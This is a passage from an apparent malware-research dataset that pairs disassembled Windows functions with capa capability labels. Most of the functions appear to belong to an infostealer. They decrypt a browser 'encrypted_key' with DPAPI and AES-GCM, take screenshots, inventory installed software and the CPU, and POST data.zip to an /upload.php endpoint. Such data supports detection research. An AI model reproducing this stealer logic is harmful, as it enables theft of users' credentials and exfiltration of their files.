joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015f0
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov r13, qword [rsp + 0x158]
mov rsi, rcx
mov edi, edx
mov r12, r8
mov ebp, r9d
lea rcx, [rsp + 0x50]
xor r9d, r9d
lea rdx, [0x0040c008]
xor r8d, r8d
mov qword [rsp + 0x50], 0
call sub.bcrypt.dll_BCryptOpenAlgorithmProvider
mov ebx, eax
test eax, eax
js 0x4017fc
mov dword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x50]
mov r9d, 0x20
lea r8, str.ChainingModeGCM
lea rdx, str.ChainingMode
call sub.bcrypt.dll_BCryptSetProperty
mov rcx, qword [rsp + 0x50]
mov ebx, eax
test eax, eax
js 0x401810
mov eax, dword [rsp + 0x148]
lea rdx, [rsp + 0x58]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
call sub.bcrypt.dll_BCryptGenerateSymmetricKey
mov ebx, eax
test eax, eax
js 0x4017f0
pxor xmm0, xmm0
mov qword [rsp + 0x40], r13
mov rdx, rsi
mov r8d, edi
mov rax, qword [0x0040c6a0]
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x48], 0
lea rbx, [rsp + 0x60]
mov dword [rsp + 0x38], 0
mov r9, rbx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x20], 0
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x138]
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0xb4], 0
mov dword [rsp + 0x90], eax
mov qword [rsp + 0x78], r12
mov dword [rsp + 0x80], ebp
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
call sub.bcrypt.dll_BCryptDecrypt
mov edx, eax
test eax, eax
js 0x401822
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [r13 + 1]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rsp + 0x58]
mov r9, rbx
mov r8d, edi
mov rdx, qword [rsp + 0x150]
mov qword [rdx], rax
mov dword [rsp + 0x48], 0
mov qword [rsp + 0x40], r13
mov edx, dword [r13]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edx
mov rdx, rsi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call sub.bcrypt.dll_BCryptDecrypt
mov ebx, eax
test eax, eax
js 0x401820
mov rcx, qword [rsp + 0x58]
call sub.bcrypt.dll_BCryptDestroyKey
mov rcx, qword [rsp + 0x50]
xor edx, edx
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
mov eax, ebx
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor edx, edx
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
jmp 0x4017fc
mov edx, eax
lea rcx, str.BCryptDecrypt__get_size__failed:_0x_x_n
mov ebx, 1
call fcn.00401520
mov rcx, qword [rsp + 0x50]
xor edx, edx
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
jmp 0x4017fc
Function at 0x401850
Capabilities:
Decode data using base64 via winapi
Encrypt data using dpapi

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov rsi, rcx
mov rcx, rdx
lea rdx, str._encrypted_key_:_
call fcn.00402950
test rax, rax
je 0x4019e0
lea rbx, [rax + 0x11]
mov edx, 0x22
mov rcx, rbx
call fcn.004029b0
test rax, rax
je 0x4019b8
sub rax, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r13, qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r8, [rdi + 1]
mov edx, 8
mov r12, rax
mov rcx, rax
call r13
mov rbp, rax
test rax, rax
je 0x4019c4
mov r9, rax
mov r8, rbx
mov edx, edi
xor ecx, ecx
call fcn.00402880
lea r15, [rsp + 0x4c]
xor r9d, r9d
mov edx, edi
mov byte [rbp + rdi], 0
mov r14d, edi
mov r8d, 1
mov rcx, rbp
mov rdi, qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rdi
mov r8d, dword [rsp + 0x4c]
mov edx, 8
mov rcx, r12
call r13
mov r8d, 1
mov edx, r14d
mov rcx, rbp
mov rbx, rax
mov r9, rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
add rbx, 5
mov qword [rsp + 0x20], r15
call rdi
mov eax, dword [rsp + 0x4c]
lea rcx, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x58], rbx
sub eax, 5
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x50], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov r8, qword [rsp + 0x58]
xor edx, edx
mov rcx, r12
sub r8, 5
call qword [sym.imp.KERNEL32.dll_HeapFree]
movdqa xmm0, xmmword [rsp + 0x60]
movups xmmword [rsi], xmm0
jmp 0x4019c4
lea rcx, str.Closing_quote_not_found_for_the_value_of_encrypted_key_n
call fcn.00401520
mov rax, rsi
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.encrypted_key_not_found_n
call fcn.00401520
jmp 0x4019c4

Function at 0x402a10
Capabilities:
Write file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, rcx
test r9d, r9d
jle 0x402a65
movsxd r9, r9d
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
mov rbx, r8
mov rsi, rdx
lea r13, [r8 + r9*4]
lea r12, [rsp + 0x3c]
nop dword [rax]
mov rdx, qword [rsi]
add rbx, 4
mov r9, r12
mov rcx, rdi
mov qword [rsp + 0x20], 0
add rsi, 8
mov r8d, dword [rbx - 4]
call rbp
cmp rbx, r13
jne 0x402a40
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
Function at 0x402ac0
Capabilities:
Create directory
Query environment variable

Disassembly:
push rbx
sub rsp, 0x120
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x100
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x100
movabs rdx, 0x425c254154414450
mov rbx, rax
movabs rax, 0x50414c41434f4c25
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
movabs rax, 0x7373755261427261
mov qword [rsp + 0x28], rdx
xor edx, edx
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov qword [rsp + 0xc8], 0
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 0
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], 0
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 0
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, rbx
add rsp, 0x120
pop rbx
ret

Function at 0x402c80
Capabilities:
Get file size
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov rbp, rdx
mov edx, 0x80000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x402d39
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402d30
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8d, [rbx + 1]
mov edx, 8
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x402d30
mov r9, rbp
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402d50
mov byte [rdi + rbx], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov rax, rdi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rdi
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edi, edi
jmp 0x402d3b
Function at 0x402d70
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push r15
mov eax, 0x1048
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.00404e90
sub rsp, rax
xor r9d, r9d
mov edi, r8d
mov rbx, rcx
mov r15, rdx
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov edx, 1
lea rcx, str.HTTP_uploader
call qword [sym.imp.WININET.dll_InternetOpenA]
xor r9d, r9d
mov rdx, rbx
mov qword [rsp + 0x38], 0
mov r12, rax
mov r8d, 0x50
mov dword [rsp + 0x30], 0
mov rcx, rax
mov dword [rsp + 0x28], 3
lea rbx, [rsp + 0x40]
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
xor r9d, r9d
mov qword [rsp + 0x38], 0
lea r8, str._upload.php
mov r13, rax
lea rdx, str.POST
mov rcx, rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rbx
mov edx, 0x1000
lea r9, str.____WebKitFormBoundary7MA4YWxkTrZu0gW
mov rbp, rax
lea r8, str.Content_Type:_multipart_form_data__boundary_s
call fcn.004029f0
mov r9d, 0xa0000000
mov rdx, rbx
mov rcx, rbp
mov r8d, 0xffffffff
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov r14, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call r14
lea r8d, [rdi + 0x2000]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, str.____WebKitFormBoundary7MA4YWxkTrZu0gW
mov edx, 0x1000
lea r8, str.___s_r_nContent_Disposition:_form_data__name_file___filename_data.zip__r_nContent_Type:_application_zip_r_n_r_n
mov rcx, rax
mov rsi, rax
call fcn.004029f0
mov r8, rdi
mov rdx, r15
movsxd rbx, eax
add rbx, rsi
mov rcx, rbx
add rbx, rdi
call sub.msvcrt.dll_memcpy
mov rcx, rbx
mov edx, 0x1000
lea r9, str.____WebKitFormBoundary7MA4YWxkTrZu0gW
lea r8, str._r_n___s___r_n
call fcn.004029f0
mov r9, rsi
xor r8d, r8d
xor edx, edx
cdqe
mov rcx, rbp
add rbx, rax
sub rbx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov ebx, eax
call r14
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call rsi
mov rcx, r13
call rsi
mov rcx, r12
call rsi
mov eax, ebx
add rsp, 0x1048
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x403130
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov rdi, rcx
mov r13, rdx
mov rsi, r8
mov edx, 0x20
lea r8, [rsp + 0x60]
lea r15, [rsp + 0x80]
call qword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, 0x42
lea r14, [rsp + 0x4c]
movq xmm0, qword [rsp + 0x64]
mov dword [rsp + 0x4c], 0
movd ebx, xmm0
pshufd xmm1, xmm0, 0xe5
movd eax, xmm1
movq qword [rsp + 0x84], xmm0
mov dword [rsp + 0x80], 0x28
imul ebx, eax
mov dword [rsp + 0x8c], 0x200001
mov qword [rsp + 0x90], 0
lea edx, [rbx*4]
mov qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], 0
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r9d, dword [rsp + 0x68]
xor r8d, r8d
mov rdx, rdi
mov r12, rax
mov rcx, r13
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.GDI32.dll_GetDIBits]
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9, r14
lea rdx, [rsp + 0x52]
mov rsi, rax
lea eax, [rbx + 0x36]
mov dword [rsp + 0x5c], 0x36
mov r8d, 0xe
mov dword [rsp + 0x54], eax
mov eax, 0x4d42
mov rcx, rsi
mov word [rsp + 0x52], ax
mov qword [rsp + 0x20], 0
call r13
mov r9, r14
mov rdx, r15
mov rcx, rsi
mov qword [rsp + 0x20], 0
mov r8d, 0x28
call r13
mov r9, r14
mov r8d, ebx
mov rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, rsi
call r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
xor eax, eax
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x403470
Capabilities:
Get system information on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rdi, r8
mov rbx, rcx
lea rcx, [rsp + 0x20]
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x40]
mov rdx, rsi
mov dword [rdi], ecx
call fcn.004028b0
mov dword [rbx], eax
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
Function at 0x403690
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x188
mov r13, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r9d, 0x20019
xor ebx, ebx
xor r8d, r8d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x1d0], rcx
mov rcx, 0xffffffff80000002
lea rsi, [rsp + 0x80]
mov dword [rsp + 0x50], 0x100
mov qword [rsp + 0x20], rax
call r13
lea rax, [rsp + 0x50]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r12, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov qword [rsp + 0x48], rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r15, qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x403737
mov r14, qword [rsp + 0x70]
add ebx, 1
call rdi
xor edx, edx
mov rcx, rax
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
call rbp
mov dword [rsp + 0x50], 0x100
mov rcx, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
mov r8, rsi
mov edx, ebx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r12
mov rcx, qword [rsp + 0x58]
cmp eax, 0x103
je 0x403830
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
call r13
call rdi
xor edx, edx
mov r8d, 0x100
mov rcx, rax
call r15
lea rdx, [0x0040c966]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x54]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x28], rdx
lea rdx, str.DisplayName
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x54], 0x100
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403710
mov eax, dword [rsp + 0x54]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x1d0]
mov r9d, 2
mov dword [rsp + 0x6c], 1
sub eax, 1
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x68], eax
call fcn.00402a10
jmp 0x403710
call rbp
nop
add rsp, 0x188
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x4038e0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push rsi
push rbx
sub rsp, 0x448
xor r8d, r8d
mov r9d, 0x20019
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea rax, [rsp + 0x38]
mov rbx, rcx
lea rsi, [rsp + 0x40]
mov dword [rsp + 0x34], 0x400
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rsp + 0x34]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
lea rdx, str.ProcessorNameString
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r8d, dword [rsp + 0x34]
mov rdx, rsi
mov rcx, rbx
call sub.msvcrt.dll_strncpy
nop
add rsp, 0x448
pop rbx
pop rsi
ret
Function at 0x4040c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.0040a380
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.0040a380
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x404130
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004100c4]
test esi, esi
mov rbx, rcx
jle 0x404260
mov rax, qword [0x004100c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40417b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x404205
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x404160
mov rcx, rbx
call fcn.00404bb0
test rax, rax
mov rdi, rax
je 0x404282
mov rax, qword [0x004100c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.00404cf0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004100c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x404267
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4041fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x404210
add dword [0x004100c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004100c8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4041fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004040c0
nop dword [rax]
xor esi, esi
jmp 0x404188
mov rax, qword [0x004100c8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.004040c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004040c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x404820
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00410120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00410100]
test rbx, rbx
je 0x40487c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x404873
test eax, eax
jne 0x404873
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x404858
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x404bb0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040d2c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x404bd0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x404bd8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x404bd0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x404c2d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x404c24
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x404bd0
add rax, 0x28
cmp rax, r9
jne 0x404c10
xor eax, eax
ret

Function at 0x404c30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040d2c0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x404c4f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x404c58
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x404c4f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x404cf0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040d2c0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x404d0f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x404d18
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x40ab50
Capabilities:
Create thread

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
call fcn.00403eb0
lea r15, [rsp + 0x40]
lea r14, [rsp + 0x78]
call fcn.00402ac0
mov r12, qword [sym.imp.KERNEL32.dll_CreateThread]
lea r13, [rsp + 0x3c]
movq xmm0, qword [0x0040c8f0]
mov rsi, rax
lea rax, [0x00403850]
mov rbp, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [sym.imp.KERNEL32.dll_CloseHandle]
movq xmm1, rax
lea rax, [0x00401c00]
punpcklqdq xmm0, xmm1
movq xmm2, rax
lea rax, [0x00402f30]
movaps xmmword [rsp + 0x40], xmm0
movq xmm3, rax
movq xmm0, qword [0x0040c8f8]
mov rax, qword [0x0040d430]
punpcklqdq xmm0, xmm2
mov qword [rsp + 0x70], rax
movaps xmmword [rsp + 0x50], xmm0
movq xmm0, qword [0x0040c900]
punpcklqdq xmm0, xmm3
movaps xmmword [rsp + 0x60], xmm0
nop word [rax + rax]
mov r9, rsi
mov qword [rsp + 0x28], r13
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov r8, qword [r15]
add r15, 8
call r12
mov edx, 0xffffffff
mov rbx, rax
mov rcx, rax
call rbp
mov rcx, rbx
call rdi
cmp r14, r15
jne 0x40ac00
xor eax, eax
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x18000fba0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x18000fbd4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x18000fbc0
ret
Function at 0x180010850
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x1800108fc
mov rax, qword [rdi + 0x38]
shr rax, 3
cmp rax, rcx
jbe 0x18001088a
mov rdx, qword [rdi + 8]
mov rcx, rdi
mov r8, rdx
mov rdx, qword [rdx]
add rsp, 0x30
pop rdi
jmp 0x180010b10
mov rcx, qword [rdi + 8]
mov rax, qword [rcx + 8]
mov qword [rax], 0
mov rcx, qword [rcx]
test rcx, rcx
je 0x1800108ca
mov qword [rsp + 0x48], rbx
nop word [rax + rax]
mov rbx, qword [rcx]
mov edx, 0x18
call fcn.18015bd38
mov rcx, rbx
test rbx, rbx
jne 0x1800108b0
mov rbx, qword [rsp + 0x48]
mov rax, qword [rdi + 8]
lea r8, [rsp + 0x20]
mov qword [rax], rax
mov rax, qword [rdi + 8]
mov qword [rax + 8], rax
mov qword [rdi + 0x10], 0
mov rax, qword [rdi + 8]
mov rdx, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x18]
mov qword [rsp + 0x20], rax
call fcn.180012bd0
add rsp, 0x30
pop rdi
ret
mov rax, rsp
push rbp
push rsi
push r14
sub rsp, 0x50
mov rbp, r8
mov r14, rdx
mov rsi, rcx
cmp rdx, r8
je 0x180010c14
mov rdx, qword [rcx + 0x18]
movabs r8, 0x100000001b3
mov qword [rax + 0x10], rbx
mov rbx, r14
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov r12, qword [rcx + 8]
movzx ecx, byte [r14 + 0x10]
mov qword [rax - 0x20], r13
mov r13, qword [r14 + 8]
mov qword [rax - 0x28], r15
movabs rax, 0xcbf29ce484222325
mov r15, qword [rsi + 0x30]
xor rcx, rax
movzx eax, byte [r14 + 0x11]
imul rcx, r8
mov qword [rsp + 0x30], rdx
xor rcx, rax
movzx eax, byte [r14 + 0x12]
imul rcx, r8
xor rcx, rax
movzx eax, byte [r14 + 0x13]
imul rcx, r8
xor rcx, rax
imul rcx, r8
and r15, rcx
shl r15, 4
add r15, rdx
mov rax, qword [r15]
mov qword [rsp + 0x20], rax
mov rax, qword [r15 + 8]
mov qword [rsp + 0x28], rax
nop dword [rax + rax]
mov rcx, rbx
mov rdi, rbx
mov rbx, qword [rbx]
mov edx, 0x18
call fcn.18015bd38
dec qword [rsi + 0x10]
cmp rdi, qword [rsp + 0x28]
je 0x180010c20
cmp rbx, rbp
jne 0x180010bc0
cmp qword [rsp + 0x20], r14
jne 0x180010bed
mov qword [r15], rbx
mov r12, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x80]
mov r15, qword [rsp + 0x40]
